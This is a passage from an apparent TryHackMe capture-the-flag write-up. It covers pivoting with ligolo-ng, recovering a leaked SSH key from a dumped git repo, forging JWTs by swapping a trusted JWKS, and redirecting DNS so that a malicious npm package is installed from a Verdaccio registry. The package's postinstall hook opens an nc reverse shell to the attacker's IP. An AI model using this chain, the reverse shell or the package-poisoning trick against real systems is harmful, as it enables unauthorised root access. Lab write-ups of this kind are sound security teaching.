<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpMLNJzqvuWjoXPcvXEiB%2Fgrafik.png?alt=media&#x26;token=27ff4fd6-5a2b-4f02-aef2-c9670dccc30e" alt=""><figcaption></figcaption></figure>

We search for SSH keys, but do not find any. However, there is an entry in the `authorized_keys` file for the user `git` from `fcdevhub`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6Ib2VHfMajJsq9QaqvPe%2Fgrafik.png?alt=media&#x26;token=0df01b28-f19b-4eb2-9d83-778f7a19c6d4" alt=""><figcaption></figcaption></figure>

We examine the various projects in `/app/` and find a .git folder in the `/app/bfc_thehubuat` folder.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fh3Sqy42Efe0wdtJ1cfXh%2Fgrafik.png?alt=media&#x26;token=81fe77c0-0dce-48b1-8443-5dbb6b46d4a9" alt=""><figcaption></figcaption></figure>

The config itself does not reveal anything useful for now. But lets try to dump the git and inspect it further.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHJpD9cCFyJCdwrViJ1Aj%2Fgrafik.png?alt=media&#x26;token=b79a776c-bb2a-4742-86fc-8034b08f6363" alt=""><figcaption></figcaption></figure>

### Ligolo-ng Setup

For the subsequent phases, we use ligolo to relay traffic between the docker container and our attacker machine to make the internal and external services of the docker container accessible from the container to our attacker machine.

> **Ligolo-ng** is a *simple*, *lightweight* and *fast* tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a **tun interface** (without the need of SOCKS).

First, we set up a TUN (network tunnel) interface called ligolo and configuring routes to forward traffic for specific IP ranges (`240.0.0.1`, `172.16.1.0/24`) through the tunnel.

```
                                                                                                                                                                                                   
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/aoc24/sq5]
└─$ sudo ip tuntap add user 0xb0b mode tun ligolo
[sudo] password for 0xb0b: 
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/aoc24/sq5]
└─$ sudo ip link set ligolo up 
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/aoc24/sq5]
└─$ sudo ip route add 240.0.0.1 dev ligolo
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/aoc24/sq5]
└─$ sudo ip route add 172.16.1.0/24 dev ligolo
                                                
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgZ37F9nxFPvnQdCgbS0e%2Fgrafik.png?alt=media&#x26;token=bc55a32e-79d1-405d-b3ae-3c8a2a2cb869" alt=""><figcaption></figcaption></figure>

Next, we download the latest release of ligolo-ng. The proxy and the agent are in the amd64 version.

{% embed url="<https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3>" %}

On our attack machine, we start the proxy server.

```
./proxy -selfcert 
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTXB5PVO5S7ABxdFkHc48%2Fgrafik.png?alt=media&#x26;token=20194df8-d1ea-4d08-a737-0b565e371795" alt=""><figcaption></figcaption></figure>

Next, we run the agent on the target machine to connect to our proxy.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXftUW0HCKUT6ho0CYqm9%2Fgrafik.png?alt=media&#x26;token=e4faf5bb-1435-47da-8309-eeef65f5cb96" alt=""><figcaption></figcaption></figure>

We get a message on our ligolo-ng proxy that an agent has joined. We use `session` to select the session and then start it.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZVhQgbcToay75EKAhRIg%2Fgrafik.png?alt=media&#x26;token=6469aeac-9ff4-436d-9494-6733c09fb8f3" alt=""><figcaption></figcaption></figure>

We are now able to reach the machines on networks `172.16.1.0/24` and the machines services itself. We now start a python web server in the assets folder to make the .git folder available.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpsTZLuJGGedxsGT1UhdY%2Fgrafik.png?alt=media&#x26;token=e481e61d-3556-427a-99d0-df9ee47b3600" alt=""><figcaption></figcaption></figure>

### Git Dump

With the web server on the Docker container, which is now available via Ligolo-ng, we have the `.git` folder available and can dump the git repository using the gitdumper tool.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2A1x4cBEfZstvbM9xqOB%2Fgrafik.png?alt=media&#x26;token=1ba03f1c-30e3-4d67-a180-a0b695201a2c" alt=""><figcaption></figcaption></figure>

```
git-dumper http://172.16.1.3:9000/.git
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FlGATnYZ1dchoH1dYzNlJ%2Fgrafik.png?alt=media&#x26;token=4917e141-c80c-4760-958a-a10942066fd1" alt=""><figcaption></figcaption></figure>

We look at the history using git log and find some commits.&#x20;

```
git log
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJ3xYt4pvnPaCEamLe0xd%2Fgrafik.png?alt=media&#x26;token=8cf9e95f-ada9-446c-8381-ac4833e68950" alt=""><figcaption></figcaption></figure>

We examine each commit with git show. On the second commit we see a deleted SSH key.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FORRwR6pUjRDM5dEdKdMm%2Fgrafik.png?alt=media&#x26;token=cfb9e0ee-c441-4cc9-96b2-cbef658fbc0c" alt=""><figcaption></figcaption></figure>

The first commit added this key and the public key.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ft2k9TsUTg2joJBHbnMWx%2Fgrafik.png?alt=media&#x26;token=1f1317c5-9b9e-4e3e-af1f-a864ef636910" alt=""><figcaption></figcaption></figure>

With the following restore commands we are able to restore the keys. From the public key we are able to retrieve the possible user.

{% code overflow="wrap" %}

```
git restore --source aab6d70d2e79f0a99d960008bfa818d1e0fa3a60 -- assets/backups/backup.key

git restore --source aab6d70d2e79f0a99d960008bfa818d1e0fa3a60 -- assets/backups/backup.key.pub
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fkth2C5QqB4z7Sj3D7ZA0%2Fgrafik.png?alt=media&#x26;token=f0e1d965-fe70-4602-994b-ab10ec430ac0" alt=""><figcaption></figcaption></figure>

We try to use this private key to log in as git via ssh to all possible docker containers available, but are successful with the host. The host is running gitolite3. Gitolite is an open source git repository hosting system and we see five readable repositories. Unfortunately git is not available on the docker container, so we have to continue on our host.

```
ssh -i gitdump/assets/backups/backup.key git@bestfestivalcompany.thm
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqjTZQb1Gbr9FqsCwz2Ua%2Fgrafik.png?alt=media&#x26;token=07426218-8729-4c50-b4d8-457b0931ba84" alt=""><figcaption></figcaption></figure>

We now get the repostories via git for further analysis.

```
GIT_SSH_COMMAND="ssh -i ../gitdump/assets/backups/backup.key" git clone git@bestfestivalcompany.thm:admdev
GIT_SSH_COMMAND="ssh -i ../gitdump/assets/backups/backup.key" git clone git@bestfestivalcompany.thm:admint
GIT_SSH_COMMAND="ssh -i ../gitdump/assets/backups/backup.key" git clone git@bestfestivalcompany.thm:bfcthehubint
GIT_SSH_COMMAND="ssh -i ../gitdump/assets/backups/backup.key" git clone git@bestfestivalcompany.thm:bfcthehubuat
GIT_SSH_COMMAND="ssh -i ../gitdump/assets/backups/backup.key" git clone git@bestfestivalcompany.thm:underconstruction
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZqJgJ8BZEsaKVWSx47P7%2Fgrafik.png?alt=media&#x26;token=f5cf0732-b748-4a8c-ba04-aa6a3b7fad64" alt=""><figcaption></figcaption></figure>

### Admint Analysis

The service listens port `3000` and uses JWKS for authentication. Something we noticed on `172.16.1.2`.

The JSON Web Key Set (JWKS) mechanism o that service periodically retrieves public keys from a remote server /jwks.json and validates the structure of the keys to ensure that they can be used to verify JWTs. When a JWT is received, it retrieves the corresponding public key from JWKS to verify the token's signature and authenticate the user. The token must contain the username mcskidy-adm and be signed with the values provided by jwks.json.

The peculiarity here seems to be that the JWKS is obtained from `http://thehub-uat.bestfestivalcompany.thm:3000/jwks.json`. We have already compromised this and found the jwks.json in the `/assets` folder.

Now that we have control of the JWKS, we can create our own token to authenticate to the service and use the features it provides.

After authentication we have the following three options:

```
restart-service
```

The restart-service funciton defines an Express route that allows restarting a service on a remote host via SSH. It expects `host` (the target machine) and `service` (the service name to restart) in the request body. The function authenticates the request using a token, creates a `RemoteManager` instance with SSH configuration, and calls its `restartService` method, returning success or error details as JSON.

```
modify-resolv
```

The modify-resolv function defines an Express route to modify the `resolv.conf` file on a remote host via SSH. It requires `host` (the target machine) and `nameserver` (the new nameserver entry) in the request body. The route authenticates the request, uses a `RemoteManager` instance to update the file, and responds with success or error details as JSON. We can use it to change the DNS server to be used for the target.

```
reinstall-node-modules
```

The reinstall-node-modules function defines an Express route to reinstall `node_modules` for a specific service on a remote host via SSH. It requires `host` (the target machine) and `service` (the target service) in the request body. The route authenticates the request, uses a `RemoteManager` instance to reinstall the dependencies, and responds with success or error details as JSON.

{% code title="index.js" overflow="wrap" lineNumbers="true" %}

```javascript
const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const axios = require('axios');
const RemoteManager = require('bfcadmin-remote-manager');
const fs = require('fs');
const { JWK } = require('node-jose');

const app = express();
const PORT = 3000;

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));

let JWKS = null;

// Fetch JWKS
async function fetchJWKS() {
  try {
    console.log('Fetching JWKS...');
    const response = await axios.get('http://thehub-uat.bestfestivalcompany.thm:3000/jwks.json');
    const fetchedJWKS = response.data;

    if (validateJWKS(fetchedJWKS)) {
      JWKS = fetchedJWKS;
      console.log('JWKS validated and updated successfully.');
    } else {
      console.error('Invalid JWKS structure. Retaining the previous JWKS.');
    }
  } catch (error) {
    console.error('Failed to fetch JWKS:', error.message);
  }
}

// Validate JWKS
function validateJWKS(jwks) {
  if (!jwks || !Array.isArray(jwks.keys) || jwks.keys.length === 0) {
    return false;
  }

  for (const key of jwks.keys) {
    if (!key.kid || (!key.x5c && (!key.n || !key.e))) {
      return false;
    }
  }
  return true;
}

// Periodically fetch JWKS every 1 minute
setInterval(fetchJWKS, 60 * 1000);
fetchJWKS();

// Middleware to ensure JWKS is loaded
function ensureJWKSLoaded(req, res, next) {
  if (!JWKS || !JWKS.keys || JWKS.keys.length === 0) {
    return res.status(503).json({ error: 'JWKS not available. Please try again later.' });
  }
  next();
}

// Middleware to authenticate JWT
async function authenticateToken(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Unauthorized' });

  try {
    const key = JWKS.keys[0];
    let publicKey;

    if (key?.x5c) {
      publicKey = `-----BEGIN CERTIFICATE-----\n${key.x5c[0]}\n-----END CERTIFICATE-----`;
    } else if (key?.n && key?.e) {
      const rsaKey = await JWK.asKey({
        kty: key.kty,
        n: key.n,
        e: key.e,
      });
      publicKey = rsaKey.toPEM();
    } else {
      return res.status(500).json({ error: 'Public key not found in JWKS.' });
    }

    jwt.verify(token, publicKey, { algorithms: ['RS256'] }, (err, user) => {
      if (err || user.username !== 'mcskidy-adm') {
        return res.status(403).json({ error: 'Forbidden' });
      }
      req.user = user;
      next();
    });
  } catch (error) {
    res.status(500).json({ error: 'Failed to authenticate token.', details: error.message });
  }
}

// SSH configuration
const sshConfig = {
  host: '', // Supplied by the user in API requests
  port: 22,
  username: 'root',
  privateKey: fs.readFileSync('./root.key'),
  readyTimeout: 5000,
  strictVendor: false,
  tryKeyboard: true,
};

// Restart service
app.post('/restart-service', ensureJWKSLoaded, authenticateToken, async (req, res) => {
  const { host, service } = req.body;
  if (!host || !service) {
    return res.status(400).json({ error: 'Missing host or serviceName value.' });
  }

  try {
    const manager = new RemoteManager({ ...sshConfig, host });
    const output = await manager.restartService(service);
    res.json({ message: `Service ${service} restarted successfully`, output });
  } catch (error) {
    res.status(500).json({ error: 'Failed to restart service', details: error.message });
  }
});

// Modify resolv.conf
app.post('/modify-resolv', ensureJWKSLoaded, authenticateToken, async (req, res) => {
  const { host, nameserver } = req.body;
  if (!host || !nameserver) {
    return res.status(400).json({ error: 'Missing host or nameserver value.' });
  }

  try {
    const manager = new RemoteManager({ ...sshConfig, host });
    const output = await manager.modifyResolvConf(nameserver);
    res.json({ message: 'resolv.conf updated successfully', output });
  } catch (error) {
    res.status(500).json({ error: 'Failed to modify resolv.conf', details: error.message });
  }
});

// Reinstall Node.js modules
app.post('/reinstall-node-modules', ensureJWKSLoaded, authenticateToken, async (req, res) => {
  const { host, service } = req.body;
  if (!host || !service) {
    return res.status(400).json({ error: 'Missing host or service value.' });
  }

  try {
    const manager = new RemoteManager({ ...sshConfig, host });
    const output = await manager.reinstallNodeModules(service);
    res.json({ message: `Node modules reinstalled successfully for service ${service}`, output });
  } catch (error) {
    res.status(500).json({ error: 'Failed to reinstall node modules', details: error.message });
  }
});

// Start server
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});


```

{% endcode %}

### Attack Path Analysis

Since we can replace the `jwks.json` file in `/app/bfc_thehubuat/assets`, we have control over the services. This allows us to change the DNS server for a target machine and reinstall its node js modules.

The idea now is to setup our own Verdaccio instance, to provide a malicious package, that when installed pops a reverse shell upon a new installation of modules.&#x20;

We change the nameserver to be one in our control that resolves `npm-registry.bestfestivalcompany.thm` to the our Verdaccio instance.&#x20;

### Access To Admint Service

First, we get access to the service, by providing an own jwks.json. We recall the results from before.

```
http://thehub-uat.bestfestivalcompany.thm:3000/jwks.json
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3oPRtPpcvTjEfIOd21pe%2Fgrafik.png?alt=media&#x26;token=23869910-3b49-4f3b-aa07-a6289ae8d580" alt=""><figcaption></figcaption></figure>

We retrieve the `jwks.json` currently in use from `thehub-uat.bestfestivalcompany.thm`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FopEPQIQ86JNLhzvbidZf%2Fgrafik.png?alt=media&#x26;token=70d4cc30-1f16-4191-9641-bf65c344e80a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3mYbZxzb1BTtNtsNnMCq%2Fgrafik.png?alt=media&#x26;token=92f7e27d-4ebb-405c-a56b-d18f97c174ff" alt=""><figcaption></figcaption></figure>

We are also preparing a request to the service on `172.16.1.2:3000`. This is still available via our ligolo-ng session. We make a simple get request and forward it to the Burp Suite repeater module.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIWWo79abVEq24fR1YE7N%2Fgrafik.png?alt=media&#x26;token=f3d82005-de73-4984-aa28-b1d9097c8f63" alt=""><figcaption></figcaption></figure>

There we change the request method to a POST request and make a first attempt. Without a valid Authorization Header we get the error Unauthorized.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FS9ooxWqIOqSchdbsmWbg%2Fgrafik.png?alt=media&#x26;token=55d042b2-04ed-4412-a9aa-bb3f86866301" alt=""><figcaption></figcaption></figure>

Next, we create a Python script to generate a jwks file with a token containing the username `mcskidy-adm`.

{% code title="jwtgen.py" overflow="wrap" lineNumbers="true" %}

```python
import jwt
import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# Generate RSA key pair
def generate_rsa_key():
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048
    )
    public_key = private_key.public_key()
    return private_key, public_key

# Export the public key in JWKS format
def generate_jwks(public_key):
    public_numbers = public_key.public_numbers()
    e = base64.urlsafe_b64encode(public_numbers.e.to_bytes(3, byteorder='big')).decode('utf-8').rstrip("=")
    n = base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, byteorder='big')).decode('utf-8').rstrip("=")

    jwk = {
        "keys": [
            {
                "kty": "RSA",
                "e": e,
                "use": "sig",
                "kid": f"sig-{hash(public_key)}",
                "alg": "RS256",
                "n": n
            }
        ]
    }
    return jwk

# Generate a JWT
def generate_jwt(private_key, payload, kid):
    headers = {
        "alg": "RS256",
        "typ": "JWT",
        "kid": kid
    }
    token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
    return token

# Main logic
if __name__ == "__main__":
    private_key, public_key = generate_rsa_key()

    # Serialize private key for signing
    private_key_pem = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption()
    )

    # Generate JWKS
    jwks = generate_jwks(public_key)
    print("JWKS:")
    print(json.dumps(jwks, indent=4))

    # Generate JWT
    payload = {
        "username": "mcskidy-adm"
    }
    kid = jwks["keys"][0]["kid"]
    jwt_token = generate_jwt(private_key_pem, payload, kid)

    print("\nAuthorization Header:")
    print(f"Bearer {jwt_token}")

```

{% endcode %}

We run the script and use the output to create a new jwks.json file, and add the authorization header to our request.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJx2eYRsJr1Ic90mQyHvy%2Fgrafik.png?alt=media&#x26;token=bb1ce990-3e7d-4ef2-b7f1-98d345962227" alt=""><figcaption></figcaption></figure>

The `jwks.json` looks like the following.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDmxtm5GdskUcObBGVbmD%2Fgrafik.png?alt=media&#x26;token=6bf116f4-b12f-4554-83bc-fdce3628b1a7" alt=""><figcaption></figcaption></figure>

We simply remove the old one and fetch the new one from our web server.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvdC7gXVTPGUqXAlxDmEc%2Fgrafik.png?alt=media&#x26;token=a9188e7c-ab0f-4ae0-91f1-1ff3d8dec487" alt=""><figcaption></figcaption></figure>

After a minute, the JWKS parameters are refreshed and we can make an authorized request.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnBz7gh8sKLdqmWC7X8AO%2Fgrafik.png?alt=media&#x26;token=ed915443-fa37-4c23-842d-c5ebf29b31bc" alt=""><figcaption></figcaption></figure>

### Configure DNS

Now we need to run and configure a DNS server. We will use dnsmasq.

```
sudo apt update
sudo apt install dnsmasq
```

We still let `thehub-uat.bestfestivalcompany.thm` resolve to `172.16.1.3`, but `npm-registry.bestfestivalcompany.thm` resolve to our attacker's `10.14.90.235`.

```
auth-ttl=60
auth-zone=bestfestivalcompany.thm
auth-server=bestfestivalcompany.thm # this option is required depending on dnsmasq version
# Disable any DHCP functionality (DNS only)
no-dhcp-interface=


host-record=thehub-uat.bestfestivalcompany.thm,172.16.1.3
host-record=npm-registry.bestfestivalcompany.thm,10.14.90.235
# Enable logging for debugging purposes
log-queries
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiesH9JKtxim4D2FQTk7H%2Fgrafik.png?alt=media&#x26;token=a28ecd73-d696-4bc4-a202-8299ea7d5fdd" alt=""><figcaption></figcaption></figure>

Next, we restart the dnsmasq service,...

```
sudo systemctl restart dnsmasq
```

And test that it resolves correctly with the following command.

```
dig npm-registry.bestfestivalcompany.thm @127.0.01
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fp5WgO2KjOKAnzj6TIEy2%2Fgrafik.png?alt=media&#x26;token=938e4b75-2f42-494e-afe6-791b189c6acb" alt=""><figcaption></figcaption></figure>

### Setup Verdaccio

Now we setup Verdaccio to provide a malicious package. We install Verdaccio.

```
npm install -g verdaccio
```

And run the an instance running on `0.0.0.0:4873` like the on on `172.16.1.2`. (Detected via Nmap before)

```
verdaccio  --listen 0.0.0.0:4873
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fsixz8zP8iYrsAAGbqnRW%2Fgrafik.png?alt=media&#x26;token=fa4b309d-698a-4225-91c3-71056a24a51d" alt=""><figcaption></figcaption></figure>

To publish new packages we need a user, which we can add with the following command. Some newer instances of npm require `--auth-type=legacy`.

```
npm adduser --registry http://localhost:4873 --auth-type=legacy
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNeDvMkjj54eZtwjJpbhb%2Fgrafik.png?alt=media&#x26;token=e691bd8e-4e74-4306-a15c-1ec196177829" alt=""><figcaption></figcaption></figure>

### Exploit

We have almost everything prepared. We change the name server from `172.16.1.2` to ours with the following request to `/modify-resolv`.

```
{"host":"172.16.1.2","nameserver":"10.14.90.235"}
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5cWidDIK07GlkpHblREh%2Fgrafik.png?alt=media&#x26;token=544a9fe6-1b63-4aee-b3db-22d96fc9e430" alt=""><figcaption></figcaption></figure>

To test if this worked properly, we try to reinstall the modules. If we get a connection back to our Verdaccio instance, it worked.

```
{"host":"172.16.1.2","service":"admdev"}
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVkrsEJW4qTwf55YJK2ab%2Fgrafik.png?alt=media&#x26;token=0805c37c-00f0-45ec-9d8d-6c026110b6fc" alt=""><figcaption></figcaption></figure>

We see some requests made to our verdaccio instance. We also see which modules will be reinstalled. So we have chosen one of them as our malicious package. But we also see that if we do not make the packages available locally, they will be fetched from `https://registry.npmjs.org/`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FF9jRXUCWbxVmAx7G9xfx%2Fgrafik.png?alt=media&#x26;token=19d67c3e-1a93-4530-a69c-55d2ff2aafd5" alt=""><figcaption></figcaption></figure>

To circumvent the fetch from `https://registry.npmjs.org/` we edit our Verdaccio `config.yaml` file. There we have to comment out the following lines:

{% code title="/home/0xb0b/.config/verdaccio/config.yaml " %}

```
# uplinks:
#   npmjs:
#     url: https://registry.npmjs.org/
```

{% endcode %}

Then we prepare a package that will install a script. The package has the same name as one of the previously installed packages. The script contains our reverse shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWVvRrZlEBRRC6i7LEsgL%2Fgrafik.png?alt=media&#x26;token=682555ab-1cdb-4d4b-bb2e-92048c76fe75" alt=""><figcaption></figcaption></figure>

{% code title="package.json" %}

```
{
  "name": "express",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "postinstall": "node ./exploit.js"
  }
}
```

{% endcode %}

{% code title="exploit.js" %}

```
const { exec } = require('child_process');
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.14.90.235 4446 >/tmp/f');
```

{% endcode %}

We publish the package.

```
npm publish --registry http://127.0.0.1:4873
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKvQOEVrQreqLwqz4X6Xz%2Fgrafik.png?alt=media&#x26;token=a8ed5caf-02aa-4ebf-b75e-fec2571c0456" alt=""><figcaption></figcaption></figure>

And can inspect it on our Verdaccio instance.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4g7yZmq5eU1eQ1TYMdby%2Fgrafik.png?alt=media&#x26;token=d1a70b83-1d47-43e0-9036-1385c1a5878b" alt=""><figcaption></figcaption></figure>

We set up a listener on port `4445` and request for another reinstallation of the modules.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FL18kOsukanZUgzEaKSY8%2Fgrafik.png?alt=media&#x26;token=f0188f17-a84e-42cb-ba36-7c7e3d172c23" alt=""><figcaption></figcaption></figure>

The Verdaccio will receive a connection back, but will stop after our package.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQHVVi8waj9qfffjqA4sE%2Fgrafik.png?alt=media&#x26;token=bd807862-cde9-4ab2-8e52-bbf3765f6ddd" alt=""><figcaption></figcaption></figure>

We get a connection back to our listener and we are `root` on `172.16.1.2`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fk6T6aUMbqxvlEiY4B8xe%2Fgrafik.png?alt=media&#x26;token=563075ac-8122-457e-b5af-b530b07d8ad0" alt=""><figcaption></figcaption></figure>

The flag can be found in the root directory of the container.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcodyA4IorhRZwBfXoxNT%2Fgrafik.png?alt=media&#x26;token=0951ef6b-13c3-42cb-b987-002af828331d" alt=""><figcaption></figcaption></figure>

## Flag 3 - Shell As User On Host

In the `/app/admint` directory of the machine, we find another pair of keys.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fw38yD1Bry2PQr1764s2f%2Faaaaaaaaaaaaaaaaa.png?alt=media&#x26;token=cf2a48d5-a4a9-4af7-be68-3170a83263df" alt=""><figcaption></figcaption></figure>

We can use this key to connect to the host again, revealing some more repositories, which we now have write access to `admdev`. Forthermore `hooks_wip` looks like a promising repository.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZVi78S3g6mtk1l91HQok%2Fgrafik.png?alt=media&#x26;token=aaf95bc4-c3e4-4d13-9238-b3ac5b222cbb" alt=""><figcaption></figcaption></figure>

We clone the `hooks_wip` repository.

```
GIT_SSH_COMMAND="ssh -i ../root.key" git clone git@bestfestivalcompany.thm:hooks_wip
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5xfsS5x2EZd4gmJqsCif%2Fgrafik.png?alt=media&#x26;token=5a8d035e-1fae-481e-974f-155c2bed3654" alt=""><figcaption></figcaption></figure>

In this we find a `post-receive` script, a git hook that logs commit messages or branch deletions to a specific file. The `post-receive` script is vulnerable to command injection because it interpolates `commit_message` directly into a `bash -c` command.

